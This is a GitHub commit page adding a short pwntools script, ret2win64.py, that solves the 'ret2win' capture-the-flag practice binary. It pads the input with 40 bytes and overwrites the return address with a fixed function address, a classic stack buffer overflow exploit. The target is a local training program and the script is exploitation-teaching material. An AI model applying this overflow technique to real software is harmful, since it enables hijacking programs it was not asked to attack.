Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
AravGarg authored Mar 28, 2020
1 parent 8251d75 commit 6f86c99
Showing 1 changed file with 18 additions and 0 deletions.
18 changes: 18 additions & 0 deletions ret2win64.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
from pwn import *
target=process('./ret2win')

#inital payload
payload="A"*40

#return address
ret2win=0x400811

#final payload
payload+=p64(ret2win)

#send payload
target.sendline(payload)

target.interactive()


0 comments on commit 6f86c99

Please sign in to comment.